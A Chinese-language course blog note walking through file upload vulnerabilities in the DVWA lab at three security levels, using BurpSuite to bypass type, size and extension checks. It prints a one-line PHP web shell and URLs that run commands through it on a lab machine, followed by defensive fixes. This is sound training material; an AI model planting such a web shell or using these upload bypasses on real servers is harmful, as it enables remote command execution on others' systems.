本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. 文件上传漏洞
2. 测试文件上传漏洞
    2-1. 正常模式
    2-2. 测试 dvwa Low 安全级别
        2-2-1. 测试漏洞
        2-2-2. 使用 BurpSuite 进行抓包
2-3. 测试 dvwa Medium 安全级别
    2-3-1. 测试漏洞
    2-3-2. 使用 BurpSui
2-4. 测试 dvwa High 安全级别
    2-4-1. 测试漏洞
    2-4-2. 使用 BurpSuite 进行抓包
3. 高安全性解决办法
    3-1. 解决办法
    3-2. 进行测试攻击
4. 多方面的解决办法

1. 文件上传漏洞

  • php 代码

    <?php echo shell_exec($_GET['cmd']);?>
    
  • 直接上传 webshell

  • 修改文件类型上传 webshell

    • mimetype 文件头、扩展名
  • 修改扩展名上传 webshell

    • 静态解析文件扩展名可能无法执行
  • 文件头绕过过滤文件上传 webshell

  • 删除目录执行权限增加安全性

2. 测试文件上传漏洞


0. 正常模式

1. 测试 dvwa Low 安全级别

1. 测试漏洞

  1. 新建 test.php 文件

    root@kali:~/Desktop# cat test.php

2. 使用 BurpSuite 进行抓包

  1. 关闭截断功能

  2. 浏览器配置 BurpSuite 代理

  3. 执行文件上传操作并且查看数据包



  4. 数据包中规定有文件大小限制,规定只能上传 100000 (100K)字节以内的文件,通过截断代理功能修改参数




2. 测试 dvwa Medium 安全级别

1. 测试漏洞

  1. 上传大小合适的 .png 图片文件

  2. 查看源代码

    #发现对问价格式和文件大小都进行了过滤
     <?php
        if (isset($_POST['Upload'])) {
                $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
                $target_path = $target_path . basename($_FILES['uploaded']['name']);
                $uploaded_name = $_FILES['uploaded']['name'];
                $uploaded_type = $_FILES['uploaded']['type'];
                $uploaded_size = $_FILES['uploaded']['size'];
                if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000)){
                    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                        echo '<pre>';
                        echo 'Your image was not uploaded.';
                        echo '</pre>';
                      } else {
                        echo '<pre>';
                        echo $target_path . ' succesfully uploaded!';
                        echo '</pre>';
                        }
                }
                else{
                    echo '<pre>Your image was not uploaded.</pre>';
                }
            }
    ?> 
    

2. 使用 BurpSuite 进行抓包

  1. 开启截断代理


  2. 上传 test.php,文件大小合适,类型不合适



  3. 关闭截断代理,测试漏洞

    10.10.10.132/dvwa/vulnerabilities/upload/../../hackable/uploads/test.php
    http://10.10.10.132/dvwa/hackable/uploads/test.php?cmd=id
    

3. 测试 dvwa High 安全级别

1. 测试漏洞

  1. mimetype 查看文件格式

    root@kali:~/Desktop# mimetype 22.png 
    22.png: image/png
    root@kali:~/Desktop# mv 22.png 22.jpg
    root@kali:~/Desktop# mimetype 22.jpg 
    22.jpg: image/jpeg
    
    先查看文件前十个字节判断是image,
    然后使用文件后缀名判断具体文件格式。
    
    root@kali:~/Desktop# mimetype 11.php 
    11.php: application/x-php
    root@kali:~/Desktop# mv 11.php 11.jpg
    root@kali:~/Desktop# mimetype 11.jpg 
    11.jpg: application/x-php
    
  2. 查看源码

    # 发现是完全按照文件真实扩展名来判断的
    <?php
    if (isset($_POST['Upload'])) {
                $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
                $target_path = $target_path . basename($_FILES['uploaded']['name']);
                $uploaded_name = $_FILES['uploaded']['name'];
                $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
                $uploaded_size = $_FILES['uploaded']['size'];
    
                if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){
    
                    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {   
                        echo '<pre>';
                        echo 'Your image was not uploaded.';
                        echo '</pre>';
                      } else {
                        echo '<pre>';
                        echo $target_path . ' succesfully uploaded!';
                        echo '</pre>';  
                        }
                }
                else{
                    echo '<pre>';
                    echo 'Your image was not uploaded.';
                    echo '</pre>';
                }
            }
    ?> 
    

2. 使用 BurpSuite 进行抓包

  1. 测试修改文件类型,开启截断代理




  2. 测试添加后缀文件类型

    在文件名后面添加 .jpg

  3. 测试漏洞

    http://10.10.10.132/dvwa/hackable/uploads/test.php.jpg?cmd=id
    

3. 高安全性解决办法

1. 解决办法

对文件的内容头信息(文件前十个字节)进行过滤,判断文件头信息里是否是真实的文件类型

2. 进行测试攻击

  1. 删除 dvwa 多余文件

    root@metasploitable:/var/www/dvwa/hackable/uploads# ls
    dvwa_email.png
    
  2. 上传文件,截断代理

    此安全性防护级别已经超越了 dvwa 的 High 防护级别


  3. 漏洞利用

    http://10.10.10.132/dvwa/hackable/uploads/icon-console.php.jpeg?cmd=id
    

4. 多方面的解决办法

  1. 在服务器端对文件扩展名进行静态解析
  2. 对目录权限进行设置(删除执行权限)

    root@metasploitable:/var/www/dvwa/hackable# ll -d uploads/    
    drwxr-xr-x 2 www-data www-data 4096 Mar  3 16:27 uploads/
    root@metasploitable:/var/www/dvwa/hackable# chmod a-x uploads/
    root@metasploitable:/var/www/dvwa/hackable# ll -d uploads/    
    drw-r--r-- 2 www-data www-data 4096 Mar  3 16:27 uploads/
    

Logo

更多推荐